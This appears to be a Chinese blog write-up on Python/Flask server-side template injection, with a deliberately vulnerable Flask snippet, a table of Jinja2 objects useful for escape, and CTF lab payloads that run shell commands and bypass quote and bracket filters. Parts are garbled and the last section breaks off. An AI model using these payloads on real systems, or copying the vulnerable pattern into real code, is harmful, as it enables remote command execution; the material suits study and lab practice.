070-Web攻防-Python安全&SSTI代码&靶场及项目等
070-Web攻防-Python安全&SSTI代码&靶场及项目等
Python-SSTI注入-类型&形成&利用&项目
什么是 SST
网站为了显示的更加美观,能够实时让页面显示提交的数据,那么就会接收用户提交的参数值,在页面中显示,这个显示就是前期的模板

| `lipsum` | Flask 方法,`__globals__` 中含 `os` 模块,可用于执行命令 | `{{ lipsum.__globals__['os'].popen('ls').read() }}` | | `current_app` | Flask 应用上下文全局变量 | `{{ current_app.config }}` | | `request` | 请求上下文,可间接访问内建模块、open 等 | `request.__init__.__globals__['builtins'].open()` | | `request.args.x1` | GET 参数 | `?x1=...` | | `request.values.x1` | 所有参数(GET+POST) | `request.values['x1']` | | `request.cookies` | Cookies 参数 | `request.cookies['session']` | | `request.headers` | 请求头参数 | `request.headers['User-Agent']` | | `request.form.x1` | POST 表单参数(`application/x-www-form-urlencoded`) | `request.form['x1']` | | `request.data` | 原始 POST 数据 | `request.data` | | `request.json` | JSON 数据(`application/json`) | `request.json['key']` | | `config` | Flask 的配置对象,可从其类进入 `__globals__` 获取 `os` | `{{ config.__class__.__init__.__globals__['os'].popen('ls') }}` | | `g{{g}}` | Flask 提供的全局变量对象,可用于传值 | `{{ g }}` |名称 说明 示例 / 用法 __class__实例对象的类类型 ''. __class__ → <class 'str'>__base__类型对象的直接基类 <class 'str'>.__base__ → <class 'object'>__bases__类型对象的所有基类(元组) <class 'A'>.__bases__ → (<class 'B'>,)__mro__方法解析顺序(继承链顺序) <class 'A'>.__mro____subclasses__()当前类的所有子类(按加载顺序) object.__subclasses__()__init__类的初始化方法,类型为函数 <class 'A'>.__init____globals__函数的全局作用域(dict) func.__globals__['os']__dict__类的静态属性、方法、内置属性等 obj.__dict____getattribute__()获取对象属性的魔术方法 obj.__getattribute__('attr')__getitem__()获取 dict、list、str 等的元素方法 dict['key']→dict.__getitem__('key')__builtins__当前上下文的内建模块集合 __builtins__.open()import()动态导入模块 __import__('os').popen('ls')str()转字符串 str(obj)url_forFlask 方法,可访问 __globals__['builtins']url_for.__globals__['builtins']get_flashed_messagesFlask 方法,可访问 __globals__['builtins']同上
模板是如何产生STTI漏洞的
模板引擎支持程序根据变量动态渲染 HTML 或文本,如果 攻击者能控制模板内容 或 插入模板语法表达式,就可能形成 STTI 漏洞
各语言框架SSTI
PHP:smarty、twig
Python:jinja2、mako、tornad、Django
java:Thymeleaf、jade、velocity、FreeMarker
Python-SSTI形成
from flask import Flask, request, render_template_string from jinja2 import Template app = Flask(name) @app.route('/') def index() name = request.args.get('name', default='xiaodi') t = ''' <html> <h1>Hello %s</h1> </html> ''' % (name) # 将一段字符串作为模板进行渲染 return render_template_string(t)
1 |
|
* 
利用类索引
<class 'os._wrap_close'>
1 |
|
web-363
构造payload传参发现这关过滤
单引号这里使用传参的方式不使用单引号拿到flag
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag{% raw %} {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat /flag1
2
3
4
5
6
7
8
9
{% endraw %}
* 
* 
### web-364
这关跟上面差不多 过滤单引号+args{% raw %} {{url_for.__globals__.os.popen(request.values.x)(request.values.y).read()}}&x=popen&y=cat /flag1
2
3
4
5
6
{% endraw %}
### web-365
这关将我们的单引号和中括号进行了过滤,使用其他方法绕过过滤{% raw %} {{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=globals&b=cat /flag {% endraw %}1
2
3
4
5
6
{% endraw %}
### web-366
这关对下划线单引号和中括号进行了过滤
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 0xMouise!







